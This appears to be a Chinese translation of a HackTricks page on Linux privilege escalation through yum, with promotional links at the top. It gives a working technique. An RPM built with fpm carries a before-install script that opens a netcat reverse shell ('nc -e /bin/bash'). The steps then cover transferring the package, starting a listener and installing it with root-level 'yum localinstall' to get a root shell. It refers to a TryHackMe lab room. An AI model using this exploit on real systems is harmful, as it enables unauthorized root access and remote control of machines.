从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
在[gtfobins](https://gtfobins.github.io/gtfobins/yum/)上还可以找到有关yum的更多示例。
# 通过RPM软件包执行任意命令
## 检查环境
为了利用这个向量,用户必须能够以更高权限的用户(即root)身份执行yum命令。
### 这个向量的一个工作示例
这个漏洞的一个工作示例可以在[tryhackme](https://tryhackme.com)的[daily bugle](https://tryhackme.com/room/dailybugle)房间中找到。
## 打包一个RPM
在接下来的部分中,我将介绍如何使用[fpm](https://github.com/jordansissel/fpm)将一个反向shell打包到一个RPM中。
下面的示例创建了一个包,其中包含一个带有任意脚本的before-install触发器,攻击者可以自行定义。安装时,此软件包将执行任意命令。我使用了一个简单的反向netcat shell示例进行演示,但可以根据需要进行更改。
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash '
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# 获取shell
使用上述示例,假设`yum`可以作为一个具有更高权限的用户执行。
1. **传输**rpm到主机
2. **在本地主机上启动**监听器,例如[示例netcat监听器](/shells/shells/linux#netcat)
3. **安装**受影响的软件包`yum localinstall -y exploited-1.0-1.noarch.rpm`